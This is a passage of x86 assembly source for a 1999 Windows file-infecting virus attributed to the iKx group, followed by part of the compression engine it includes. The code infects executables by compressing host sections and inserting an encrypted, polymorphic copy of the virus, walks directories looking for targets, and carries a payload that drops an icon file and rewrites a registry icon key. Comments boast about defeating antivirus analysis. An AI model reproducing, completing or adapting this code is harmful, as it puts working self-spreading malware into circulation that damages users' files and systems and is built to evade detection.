jb infectionmethod3 ; will have to fix that
; too
sub ecx,dword ptr [esi+12]
add ecx,dword ptr [esi+20] ; okay all right
; proceed compression
mov dword ptr [ebp+FileOffset],ecx

mov edx,ecx
push edx
call Seek_file ; going to entry offset
pop edx ; set size as encrypt
; val :)
call DropcryptedVirus ; make a encrypted ver.

mov ecx,75000 ; set how much to
; compress

Compresslookup: ; generic infection method

push ecx ;
mov dword ptr [ebp+TakenByte],ecx ; save crypted virus to
call DropcryptedVirus ; buffer

mov edx,edi
pop ecx
push ecx
call Read_file ; read how much byte to compres

mov edi,dword ptr [ebp+compressbuffer]
call DropStubLoader ; then put the decompression
; stub (about 500 bytes)
; (it have to alloc/init find kernel, apis..)
pop ecx
add ecx,pseudofin-start ; so compress virus
mov esi,dword ptr [ebp+databuffer] ;

call DarkCMP

mov dword ptr [ebp+seed],ecx ; randomizing decryptors :)

cmp ecx,dword ptr [ebp+TakenByte] ; look how much compression
jb CloseFile ; we got if > ?

mov byte ptr [ebp+numberloop],0 ; reset number of algorithm
lea ecx,[edi+eax] ; fuck, can't remember why
; I did this instruction
push edi
push esi
push ecx

Checknext:

pop ecx
pop esi
pop edi

push edi
push esi
push ecx

inc byte ptr [ebp+numberloop] ; make 1 more algos...
sub dword ptr [ebp+seed],esi ; making allways
and dword ptr [ebp+seed],0FFFFFh ; get all this number
; of possible number
push ebp

mov esi,dword ptr [ebp+compressbuffer] ; so now make poly of
mov edi,dword ptr [ebp+databuffer] ; it

mov ebp,dword ptr [ebp+Restore] ; set where poly will
sub ecx,esi ; be in memory

call poly ; poly this

pop ebp

cmp byte ptr [ebp+numberloop],10 ; we reached the end
ja CloseFile0 ; without finding good

cmp ecx,dword ptr [ebp+TakenByte] ; compression algos ?
ja Checknext

pop eax
pop eax
pop eax ; stack reajustement

call InitCritical ; stop other main thread
; don't want to be
; pushad ; annoyed during
; ; infection procedure
; push 1
; lea eax,dword ptr [ebp+caption]
; push eax
; lea edx,word ptr [ebp+workingdir]
; push edx
; push 0
; call dword ptr [ebp+MessageBoxA]
;
; mov dword ptr [esp+20h-4],eax
; popad

; cmp eax,2
; je cretino1

push ecx
mov edx,dword ptr [ebp+HeaderOffset]
call Seek_file ; go to where we read
; to the header
mov ecx,(4096/2)+0f8h
lea edx,[ebp+ReadyForHost] ; rewrite the header
call Write_file

mov edx,dword ptr [ebp+FileOffset] ; go to where we took
call Seek_file ; compressed datas

pop ecx
mov edx,dword ptr [ebp+databuffer]

call Write_file ; write it to file

cretino1:

call LeaveCritical ; resume thread

inc byte ptr [ebp+infcount] ; increment infection

CloseFile:

jmp finfi ; stop file

CloseFile0:

pop ecx
pop esi
pop edi
jmp finfi ; stoping poly loop
; creation
infectionmethod2:

mov eax,dword ptr [esi+16] ; check if code
cmp eax,45000 ; is bigger than 45000
jb CloseFile ; else go away

mov edx,dword ptr [esi+20]
mov dword ptr [ebp+FileOffset],edx
call Seek_file ; go to start of sect

mov eax,dword ptr [esi+12]
mov dword ptr [ebp+ReadyForHost+40],eax ; set entry to there
add eax,dword ptr [ebp+ReadyForHost+52]
mov dword ptr [ebp+Restore],eax ; set for poly

mov ecx,dword ptr [esi+16]
jmp Compresslookup ; go infect it

infectionmethod3:

mov edx,dword ptr [esi+20]
add edx,dword ptr [esi+16]
sub edx,75000 ; get end of sec - 75000

mov eax,edx
sub eax,dword ptr [esi+20] ; then get offset
add eax,dword ptr [esi+12]

mov dword ptr [ebp+ReadyForHost+40],eax
add eax,dword ptr [ebp+ReadyForHost+52] ; set entrypoint
mov dword ptr [ebp+Restore],eax

mov dword ptr [ebp+FileOffset],edx ; and drop offset
call Seek_file ; go overthere

mov ecx,75000 ;full compression buff.

jmp Compresslookup

DropcryptedVirus:

encrypt:

lea esi,[ebp+start]
mov edi,dword ptr [ebp+databuffer] ;I don't saved the

mov ecx,pseudofin-start ;key so avers will have
repz movsb ;to test every poss.

push edi

lea esi,[edi-1]
mov ecx,pseudofin-StartCrypt ; how much to encrypt

gegenviom:

xor dl,25 ; this is sliding key
xor byte ptr [esi],dl ; hohoho, you will
add dl,99 ; have to emulate
add byte ptr [esi],dl ; each loop

dec esi ; enjoy guys
loop gegenviom

pop edi
ret

DropStubLoader:

mov byte ptr [ebp+stubtest],1 ; this is just for
mov ecx,FinStub-StubLoader ; previewving virus
lea esi,[ebp+StubLoader] ; decompression
repz movsb
mov byte ptr [ebp+stubtest],0
ret

caption: db 'Host found',0

countcompress: dd 0
countoffset: dd 0

numberloop: db 0

FileOffset: dd 0
HeaderOffset: dd 0
TakenByte: dd 0

finfi:

; pushad ; made for debugging
; ; purpose
; push 0
; lea eax,dword ptr [ebp+caption]
; push eax
; lea edx,word ptr [ebp+workingdir]
; push edx
; push 0
; call dword ptr [ebp+MessageBoxA] ; for test
;
; mov dword ptr [esp+20h-4],eax
; popad

call Close_file ; close it

attackfile2:

willbeback:

pop edx ; look for next file in sub
push edx
lea eax,[ebp+filedata]
push eax
push edx
call dword ptr [ebp+FindNextFileA] ; findnextfilea

cmp eax,0
jne findnextfileA

call dword ptr [ebp+FindClose] ; close find (wow that time,
; it's not buggy :)
finishattack:

ret

oldesp:

KillSubDir:

cmp dword ptr [ebp+filedata+2Ch],'TSYS' ; don't infect
je finishattack ; system directory

cmp dword ptr [ebp+filedata+2Ch],'tsys' ; avoiding NT problems
je finishattack ;

cmp byte ptr [ebp+treeflag],1
jne secureit

cmp dword ptr [ebp+filedata+2Ch],'BSYS' ; infect sysback
jne finishattack

cmp dword ptr [ebp+filedata+2Ch],'bsys'
jne finishattack

secureit:

mov eax,(1024*2)+4
call alloc ; alloc memory

push eax
push eax

mov edi,eax
lea esi,[ebp+originaldir]
mov ecx,(1024*2)+4
repz movsb ; save precdent dir infos

mov edi,dword ptr [ebp+pointerdata]
call connectit ; put dir name + curr dir status

; pushad
;
; push 0
; lea edx,word ptr [ebp+originaldir]
; push edx
; lea edx,word ptr [ebp+originaldir]
; push edx
; push 0
; call dword ptr [ebp+MessageBoxA]
;
; mov dword ptr [esp+20h-4],eax
; popad


call Killdir ; scan directory

pop esi
lea edi,[ebp+originaldir]
mov ecx,(1024*2)+4

repz movsb ; restore back directoy and
; infos
pop eax
call Delloc ; then delocate

ret

makescandir:

inc eax
cmp byte ptr [eax],0
jne makescandir

cmp byte ptr [eax-1],'\' ; look if it have or not, fix
je gottaway ; it anyway

mov byte ptr [eax],'\'
inc eax

gottaway:

mov dword ptr [eax],'*.*' ; concatenating *.*
mov dword ptr [ebp+pointerdata],eax

ret

checkext:

lea esi,[ebp+originaldir] ; look for file
lea edi,[esi+1024] ; in the file data
mov ecx,1024
repz movsb

mov edi,dword ptr [ebp+pointerdata]
add edi,1024
call connectit ; we put name on the
; background file data
mov eax,dword ptr [edi-4]
call lowcaseme ; low case extension
ret

treeflag: db 1

connectit:

lea esi,[ebp+filedata+2Ch] ; add dir

mov eax,dword ptr [ebp+pointerdata] ; add file data
mov dword ptr [eax],0

finishmakedir:

mov al,byte ptr [esi]
mov byte ptr [edi],al

inc esi
inc edi

cmp al,0
jne finishmakedir ; until we reached end
; of file name
ret

lowcaseme:

mov ecx,4 ; look how much we have
; to scan
lowcaseit:

rol eax,8
cmp al,'A'
jb dontapply ; if between A -> Z
cmp al,'Z' ; then redesign to
ja dontapply ; ascii

add al,'a'-'A'

dontapply:

loop lowcaseit

ret

payload:

lea eax,[ebp+currbuff2]
push eax

push 255
push eax
call dword ptr [ebp+GetSystemDirectoryA] ; get windows directory

pop edi
scannextz:
inc edi
cmp byte ptr [edi],0
jne scannextz ; look there

mov ecx,8
lea esi,[ebp+ikxico]
repz movsb ; then create

push 0
lea eax,[ebp+currbuff2]
push eax
call dword ptr [ebp+Lcreat] ; SYSDIR\ikx.00

push eax

dropit: ;

lea ebx,[ebp+trademark]
push 766
push ebx
push eax
call dword ptr [ebp+Lwrite] ; write the icon

call dword ptr [ebp+Lclose] ; then close the file

lea eax,[ebp+KeyOne]
mov ecx,080000000h

call Reginitialize ; open the key
; and write datas
lea eax,[ebp+KeyZero]
mov ecx,080000002h

push dword ptr [ebp+StoorHere]
mov byte ptr [ebp+StoorHere],0
lea esi,[ebp+mess1]
lea edi,[ebp+currbuff2]
mov ecx,finmess1-mess1
repz movsb ; copy all that over there

lea eax,[ebp+KeyOne] ;
mov ecx,080000000h

call Reginitialize ; open the key that we had
pop dword ptr [ebp+StoorHere] ;
ret

Reginitialize:

lea edx,[ebp+rezo21] ; boring to describe
push edx ; look win32.hlp
push 002000000h
push 0
push eax
push ecx
call dword ptr [ebp+RegOpenKeyExA] ; open the key

xor ecx,ecx
lea edi,[ebp+currbuff2]
push edi

dodoit:

inc ecx
inc edi
cmp byte ptr [edi],0
jne dodoit
cmp byte ptr [edi-1],'0'
je skipcount
cmp byte ptr [edi-1],'!'
je skipcount ; whohoho...

mov dword ptr [edi],'0,'
inc ecx
inc ecx

skipcount:

pop edi
push ecx
push edi
push 1
push 0
push 0
push dword ptr [ebp+rezo21]
call dword ptr [ebp+RegSetValueExA] ; overwrite it

ret

poem:

; db ' I was in the street today, so long time I didnt saw it',0
; db ' I was afraid coz so long time I didnt saw so much poeple',0
; db ' I tasted beer again, I liked it, I tasted joint, I was planning',0
; db ' I enjoyed with girls, like old good times, when I was happy',0
; db ' But after all these enjoyment, I didnt feel in my garden',0
; db ' Like a bird trying to fly in water, ridiculous like hell',0
; db ' That was my life, excepting to be happy from a computer',0
; db ' Just secure my brain, getting ideas and make them working',0
; db ' I spend so much time behind my computer, loosing my time',0
; db ' I did what I never excepted to do, I remember my beginners ideas',0
; db ' I tryed to go to the infinite, I arrived in hell',0
; db ' If you are like I was, you should follow this tip',0
; db ' Stop vxing guys, you are loosing sensations',0
; db 0


mess1: db 'Remember VX meeting times...',0
finmess1:

ikxico: db '\ikx00.ico',0

KeyZero:
db 'SOFTWARE\Classes\'
KeyOne:
db 'CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\'
StoorHere:
db 'DefaultIcon',0
KeyFin:
trademark:

yeye:
db 000h, 000h, 001h, 000h, 001h, 000h, 020h, 020h, 010h, 000h, 000h, 000h
db 000h, 000h, 0e8h, 002h, 000h, 000h, 016h, 000h, 000h, 000h, 028h, 000h
db 000h, 000h, 020h, 000h, 000h, 000h, 040h, 000h, 000h, 000h, 001h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 080h, 002h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 080h, 000h, 000h, 080h
db 000h, 000h, 000h, 080h, 080h, 000h, 080h, 000h, 000h, 000h, 080h, 000h
db 080h, 000h, 080h, 080h, 000h, 000h, 0c0h, 0c0h, 0c0h, 000h, 080h, 080h
db 080h, 000h, 000h, 000h, 0ffh, 000h, 000h, 0ffh, 000h, 000h, 000h, 0ffh
db 0ffh, 000h, 0ffh, 000h, 000h, 000h, 0ffh, 000h, 0ffh, 000h, 0ffh, 0ffh
db 000h, 000h, 0ffh, 0ffh, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 00bh
db 0bbh, 0bbh, 0bbh, 0bbh, 000h, 000h, 000h, 000h, 000h, 000h, 009h, 009h
db 009h, 009h, 009h, 00bh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0b0h, 000h, 000h
db 000h, 000h, 009h, 009h, 009h, 009h, 009h, 00bh, 0bbh, 0bbh, 0bbh, 0bbh
db 0bbh, 0bbh, 0b0h, 000h, 000h, 000h, 009h, 009h, 009h, 009h, 009h, 00bh
db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 000h, 000h, 000h, 009h, 009h
db 090h, 000h, 090h, 00bh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0b0h
db 000h, 000h, 009h, 009h, 009h, 009h, 009h, 00bh, 0bbh, 0bbh, 0bbh, 0bbh
db 0bbh, 0b3h, 033h, 033h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 00bh
db 0bbh, 0bbh, 0bbh, 0bbh, 033h, 033h, 033h, 033h, 030h, 000h, 000h, 0bbh
db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 033h, 033h, 033h, 033h, 033h
db 033h, 000h, 000h, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0b3h, 033h
db 033h, 033h, 033h, 033h, 033h, 000h, 00bh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh
db 0bbh, 0bbh, 033h, 033h, 033h, 033h, 033h, 033h, 033h, 000h, 00bh, 0bbh
db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0b3h, 033h, 033h, 033h, 033h, 033h, 033h
db 030h, 000h, 00bh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0b3h, 033h, 033h
db 033h, 033h, 033h, 030h, 000h, 000h, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh
db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh
db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0b0h
db 00bh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 000h
db 000h, 000h, 00bh, 0b0h, 0b0h, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh
db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0b0h, 0b0h, 0bbh, 0bbh, 0bbh, 0bbh
db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 000h
db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh
db 0bbh, 0bbh, 0bbh, 0b0h, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh
db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh
db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh
db 0bbh, 0bbh, 00bh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh
db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0b0h, 00bh, 0bfh, 0bbh, 0bbh, 0bbh, 0bbh
db 0bbh, 0bbh, 0b9h, 099h, 099h, 0bbh, 0bbh, 0bbh, 0bbh, 0b0h, 00bh, 0bfh
db 0fbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 099h, 099h, 09bh, 0bbh, 0bbh, 0bbh
db 0bbh, 0b0h, 000h, 0bfh, 0ffh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh
db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 000h, 000h, 0bbh, 0ffh, 0bbh, 0bbh, 0bbh
db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 000h, 000h, 00bh
db 0bfh, 0ffh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh
db 0b0h, 000h, 000h, 000h, 0bbh, 0ffh, 0ffh, 0fbh, 0bbh, 0bbh, 0bbh, 0bbh
db 0bbh, 0bbh, 0bbh, 0bbh, 000h, 000h, 000h, 000h, 00bh, 0bfh, 0ffh, 0ffh
db 0fbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0b0h, 000h, 000h, 000h, 000h
db 000h, 0bbh, 0bfh, 0ffh, 0ffh, 0ffh, 0bbh, 0bbh, 0fbh, 0bbh, 0bbh, 000h
db 000h, 000h, 000h, 000h, 000h, 00bh, 0bbh, 0bfh, 0ffh, 0ffh, 0ffh, 0ffh
db 0fbh, 0bbh, 0b0h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 00bh, 0bbh
db 0bfh, 0ffh, 0ffh, 0fbh, 0bbh, 0b0h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 0bbh, 0bbh, 0bbh, 0bbh, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 00fh, 0ffh, 000h, 000h, 001h, 0ffh, 000h, 000h
db 000h, 07fh, 000h, 000h, 000h, 03fh, 000h, 000h, 000h, 01fh, 000h, 000h
db 000h, 00fh, 000h, 000h, 000h, 007h, 0c0h, 000h, 000h, 003h, 0c0h, 000h
db 000h, 003h, 080h, 000h, 000h, 003h, 080h, 000h, 000h, 007h, 080h, 000h
db 000h, 01fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 080h, 000h
db 000h, 001h, 080h, 000h, 000h, 001h, 080h, 000h, 000h, 001h, 0c0h, 000h
db 000h, 003h, 0c0h, 000h, 000h, 003h, 0e0h, 000h, 000h, 007h, 0f0h, 000h
db 000h, 00fh, 0f8h, 000h, 000h, 01fh, 0fch, 000h, 000h, 03fh, 0feh, 000h
db 000h, 07fh, 0ffh, 080h, 001h, 0ffh, 0ffh, 0f0h, 00fh, 0ffh

include etms.asm
include dsce.asm

getapis:

db 'KERNEL32.'
db 'USER32.'
db 'ADVAPI32.' ; Pseudo imported dlls
db -1

dd 0aacce3ch ; file action
dd 01558146h ; see above
dd 0aacf03dh
dd 0aad8d85h
dd 0155be2ch
dd 0aac3c03h
dd 09554ef69h

dd 0D45D57C9h ; mapping apis
dd 05FBCD23Ch

dd 0a412f949h ; windows libaries managing
dd 078a25f37h

dd 0ab16d5ceh ; memory apis
dd 0b562d377h

dd 0c6387a85h ; create exit Threads
dd 01cdc7e3fh

dd 0cb8d7a80h ; priority class setting
dd 046863856h
dd 04690b856h

dd 0297c5269h ; suspend create threads
dd 0a1187bb2h

dd 002c7218h ; sleep -)

dd 0b04301d5h ; Read Write Process Memory
dd 0a58ad555h

dd 0c26c5705h ; ToolHelp debugging functions
dd 095b0c289h
dd 0b2b60b08h

dd 056B3973Eh ; FindNext/FindFirst/Findclose
dd 0e37e8dc3h
dd 07aaef03fh

dd 0a24e569eh ; GetCurrent/GetWin/GetSys
dd 06259ad0dh ; directory
dd 09a75bb1ah

dd 05ecf0a4ch ; MessageBox
dd 014d14ccbh ; getdrivetype

dd 029bf2c25h ; OpenProcess

dd 0c53b1c30h ; RegOpen
dd 09774ef48h ; RegSetKey

dd 0ee84c668h ; GetSystemTime

db -1

db 'B0/S0 - [iKx] (c) 1999 all right reserved - present '
db 'AldeBaran'

pseudofin:

returnapis:

Lcreat: dd 0
Lopen: dd 0
Lclose: dd 0
Lwrite: dd 0
Lread: dd 0
Llseek: dd 0
GetFileSize: dd 0

MapViewOfFile: dd 0
CreateFileMappingA: dd 0

LoadLibraryA: dd 0
FreeLibrary: dd 0

VirtualAlloc: dd 0
VirtualFree: dd 0

CreateThread: dd 0
ExitThread: dd 0

GetCurrentProcess: dd 0
GetPriorityClass: dd 0
SetPriorityClass: dd 0

SuspendThread: dd 0
ResumeThread: dd 0

Sleep0: dd 0

ReadProcessMemory: dd 0
WriteProcessMemory: dd 0

CreateToolhelp32Snapshot: dd 0
Process32First: dd 0
Process32Next: dd 0

FindFirstFileA: dd 0
FindNextFileA: dd 0
FindClose: dd 0

GetCurrentDirectoryA: dd 0
GetWindowsDirectoryA: dd 0
GetSystemDirectoryA: dd 0

GetDriveTypeA: dd 0
MessageBoxA: dd 0

OpenProcess: dd 0

RegOpenKeyExA: dd 0
RegSetValueExA: dd 0

GetSystemTime: dd 0

; Temporary datas, arrrrrrrrrrf :)

ForeignThread: dd 0

oldseh: dd 0

ReturnTemp: dd 0

FileHandle: dd 0
databuffer: dd 0
compressbuffer: dd 0

MapHandle: dd 0
MapHandle1: dd 0
Ourmemory: dd 0

reserror: db 0
Checkres: db 0

processid: dd 0
dd 0
PseudoData: db 16 dup (0)

maxinf:
maxinfect: dd 0
infcount:
countinfect: dd 0
numbscan: dd 0
waitscan: dd 0

checkflag: dd 0

datadummy: db 400h dup (0)

FindData:
filedata:
File_Data: db 2ch dup (0)

db 'winhlp32.exe',0
db 13+5 dup (0)

ReadyForHost: db 0F8h dup (0)
TableHost: db 4096/2 dup (0)

currbuff2: db 400 dup (0)
rezo21: dd 0
currbuff3: db 2000 dup (0)

originaldir: db 1024 dup (0)
workingdir: db 1024 dup (0)
pointerdata: dd 0

fin:

end Host


--- Include: DSCE.ASM

;
; Comperssion engine based on the Huffman algorithm - EvilRats produKtion!
;
; Still under devlopment and test, Version 0.99 revision 5b
;
; Can support a dword as dictionary base like professional softwares
; Speed up and many improvents to gain time , these routines are 100%
; multitask. These routines doesn't require extra memory to work
; but just need a buffer to acquire datas, for compression, if you are
; not sure, better is to add 8ko to it, it will return the exact size
; of the compressed datas... (You must respect a minimum of 8 Ko buffer,
; else, it will GP Fault)
;
; Ideal utilisation: Compressing text video datas got 60% and 80
; Compressing executable file got 80-90%
;
; Revision 5b is specially optimized for very large compression, I mean
; for compressing more than 20 Ko, and not for small buffer, older
; revisions were quite efficient for small buffer (even on 512 bytes
; buffer) but I don't release this version, I don't have commented it.
; If you really want it, please mail: starzeros@hotmail.com
;
; Ideal code placing: The code was originally coded for 32 bits,
; utilization in 16 bit programs will slow down the compression
; to +- 5 ko/sec... (value taken with Softice but it's so often
; instable..., anyway, the compression is eye visible in dos mode :[ )
;
; With revision 5.b, you should compress only larger than 16 Ko to get
; something serious. Else the dictionary (that will take 1Ko entirely)
; will eat to much place.
;
; Unfortunately, this version of DSCE loose about 5 to 10% of compression
; rate, but anyway, it's quite enough for vxing needs...
;
; Test on standard memory compression:
; 453 Ko/sec with highest process priorities !!!
; 200 Ko/sec with normal process priorities
; 48 Ko/sec with lowest process priorities
;
; Arguments: DarkCMP ecx = number of bytes
; esi = long pointer to addresses
; edi = long pointer to buffer
;
; UnDkCMP ecx = size of datas
; esi = long pointer to the base
; edi = long pointer to the base
;
; to get needed memory size, just get the dword at [esi+1],
; then drop over it.
;
; Routine size: +- 125 for decompression (LZH decoding :)
; 570 for compression
;
; Revision 5 - Decompression routines reoptimized
; - no more need of extra memory
; - speed up because no three building on output
; - not anymore eye visible
; - we are loosing some percentages compression :(
;

  	- decompression routine size down to: about 125 bytes 
; - improvent for decompression speed, down to
; 84 microsecond for 50 Ko on a P133 !!!
; (I didn't belived myself but true, 5000 Mega/sec ???)
;
; Revision 4 - Improved construction, Complete 32 bit structures
; - Revised time critical procedure 1 (256 times speed up!)
; - Revised time critical procedure 3 (for very large compression)
; - A few bugs revised
;
; - I have to greet zombie for all his help during the writing of
; these routines -
;
;

DarkCMP:

pushad

push edi ; saving value for compressed
; size calculation
mov byte ptr [edi],'h'
mov dword ptr [edi+1],ecx ; original size

push esi ; saving value for later
push ecx

push edi

lea edi,[edi+5*256] ; set where we will put datas
push edi ;+4 don't worry this is
;for stimulated stack
xor eax,eax ;just for coder's comprehension

push edi
push ecx ;+8

xor eax,eax ; making a 1024 bytes zero
mov ecx,1024 ; zone
repz stosb

pop ecx ;-8
pop edi

mov ebx,4

dictionarylookup: ; Time Critical Revision One

movzx eax,byte ptr [esi]
mul ebx ; we are building a zone of
inc dword ptr [edi+eax] ; number of frequencie
inc esi ; we inc table+ascii*4
; each time ascii encountered
loop dictionarylookup

pop esi ;-4
lea edi,[esi+1025]
push edi ;+4

mov ax,-1

thendontstore: ; we need to kill these that
inc ax ; happend 0 times
mov byte ptr [edi],al ; so, put number in edi

mov edx,dword ptr [esi] ; get frequency of al
cmp edx,0 ; if zero, kill it
je dontstoryindicotable

mov dword ptr [edi+1],edx ; saving it
add edi,5 ; next pos in table
cmp ax,100h
je dontstoryindicotable
inc ecx
dontstoryindicotable:
add esi,4 ; get next frequecy
cmp ax,100h ; build it
jne thendontstore ; 1024 bytes eat

pop edi ;-4

lea esi,[edi+256*5] ; where we are going to
inc esi ; put the crescendo mode
mov byte ptr [esi],cl ; but put number of entry
inc esi ; there

mov eax,5 ; multiply it
mul ecx

add esi,eax ; esi will become edi
sub esi,5 ; later
mov eax,1

mov ebx,ecx ; ecx equal number of items
mov edx,1

xchg esi,edi ; here we go again

push edi ; +8
push ecx

setanynumber:

buildarbitrarydictionaryloop1: ;This operation is time critical
;as 32 bit, dunno, I will may be
push ecx ;rebuild it...
push esi ;I made a fixup for large compression

checkforvalidone:

xor eax,eax ; start at zero

buildarbitrarydictionaryloop:

cmp eax,dword ptr [esi+1] ; if eax is bigger then bybye
ja thendontsetarbitrary

mov eax,dword ptr [esi+1] ; we set frequency in eax as biggest
mov edx,esi ; and save his location

thendontsetarbitrary:

add esi,5
loop buildarbitrarydictionaryloop ; it's the last of the series
;
mov esi,edx ; we get there
movsb ; saving everyhting
movsd
mov dword ptr [esi-4],0 ; we set before this one to zero
; nothing is biggest than zero :)
pop esi
pop ecx

dec ebx
cmp ebx,0 ; this routine eat a lot of memory...
jne buildarbitrarydictionaryloop1 ; super highway 2561 bytes eaten

thengotothere:

pop ecx
pop esi ; -8

pop edx

mov word ptr [edx+5],cx ; we then set in the destination
lea eax,[edx+7] ; number of entr

push eax

makethree: ; now we make a three
; if ya don't understand, go read
; huffman compression egine
lea edi,[esi+512*5+5] ; +2560 bytes eaten
lea ebp,[edi+512*5+5] ; +1536 bytes eaten

push esi
push ebp

mov edx,ecx ; edx contain number of
; image in three
untilnothree:

push esi
push edi
push ebp
mov ebp,edx
sub ebp,ecx
push ecx
push edx ; saving these value for
; completing the loop
mov ecx,edx

getfromthree:

mov eax,ecx
shl eax,2
add ecx,eax ; multiply ecx by 5

mov edx,ebp

mov eax,edx ; multiply ecx by 5
shl eax,2
add edx,eax ; gain of speed from slow mul/div...

push edi
push ecx
repz movsb ; copy the buffer :]
pop ecx ; because we will operate on it
pop edi

xor ebp,ebp
xor ebx,ebx ; resent constants

mov dh,byte ptr [edi+edx]
add edi,ecx

escalator:

push edi
push ecx

mov eax,dword ptr [edi+1-5] ; we get current

cmp dh,byte ptr [edi-5] ; and look if he's in the two last
jne thendontsetthebit ; object of the vertical three

inc ebp ; if so, then update the current
ror bx,1 ; value for horizontal three
jmp thendontsetthebit3 ; correspondance (shift 1 + 0)

thendontsetthebit:

cmp dh,byte ptr [edi-5-5] ; look if before the last...
jne thendontsetthebit2

inc ebp
ror bx,1
inc bx ; shif 1 + 1
jmp thendontsetthebit3

thendontsetthebit3:

mov dh,byte ptr [edi-5-5] ;

thendontsetthebit2:

mov dl,byte ptr [edi-5-5] ; make fusion of last two entries

add eax,dword ptr [edi+1-5-5] ; we get new entry

thenputloop:

cmp eax,dword ptr [edi-5+1]
jb thenputhere

mov esi,dword ptr [edi-5] ; then refix all the table with the
mov dword ptr [edi],esi
mov esi,dword ptr [edi-5+1] ; this value
mov dword ptr [edi+1],esi

sub edi,5
sub ecx,5 ; repeat it
cmp ecx,0
jne thenputloop ; for every value

thenputhere:

mov byte ptr [edi],dl ; this is in case of the last
mov dword ptr [edi+1],eax ; change all the substructure
sub edi,3 ; of the three

thenitsfinish:

pop ecx
pop edi
; this is for the loop
sub edi,5
sub ecx,5
cmp ecx,5
jne escalator

mov cx,bp
dec cx
rol bx,cl

mov eax,ebp

pop edx ; restore datas
pop ecx
pop ebp
pop edi
pop esi

mov byte ptr [ebp],al ; save this in the three
mov word ptr [ebp+1],bx
add ebp,3

dec ecx
jnz untilnothree ; we have to do this for
; each object of the three
mov byte ptr [ebp],0

pop ebp ; restore data for
pop edx ; encoding

pop edi
pop ecx
pop esi

push ecx ; compressing a bit the corrspondance
push edi ; table make it working without extra
; memory...
movzx ecx,word ptr [edi-2] ;

dicotype2: ; build a mini char/three

mov al,byte ptr [edx] ; correspondance table
mov byte ptr [edi],al ; even as mini, for 24 char, it take
mov al,byte ptr [ebp] ; 1024 caracters :(
mov byte ptr [edi+1],al ; blah, nobody is perfect...
mov ax,word ptr [ebp+1] ; now we concatenate the binary to the
mov word ptr [edi+2],ax ; now we concatenate the binary to the

add edx,5
add ebp,3
add edi,4

loop dicotype2

pop edx
pop ecx

mov word ptr [edi],-1 ; this to make a stop for
; decompressing
inc edi
inc edi

mov dword ptr [edi],0 ; set zero to there, reset
; values
inc edi

compressloop:

mov al,byte ptr [esi] ; get current ascii in
; data to be compressed
push ecx
push edx

sub edx,4 ; we have to start at zero
scannext01:
add edx,4

cmp byte ptr [edx],al
jne scannext01 ; loop until we get the value

xor ecx,ecx
mov cl,byte ptr [edx+1]
mov dx,word ptr [edx+2] ; now we concatenate the binary to the
dec cl ; buffer, [edi] = the pos of the bit of
ror dx,cl
inc cl

hereweloop:

mov ah,8
sub ah,byte ptr [edi] ; [edi-1]

cmp ah,0
jne thennoneedofimplementation ;look if we completed a entire 8 byte

mov word ptr [edi],0 ; then resent edi
inc edi ; increment it
mov ah,8

thennoneedofimplementation:

dec ah
xchg ah,cl
mov al,byte ptr [edi-1] ; we have to change edi-1
ror al,cl ; and shift it

push edx

and edx,1 ; we look if we
add eax,edx ; need to concatenate one bit
; of the three image
pop edx

rol al,cl
rol dx,1 ; set to next bye change

mov byte ptr [edi-1],al ; store it
inc byte ptr [edi]

xchg ah,cl
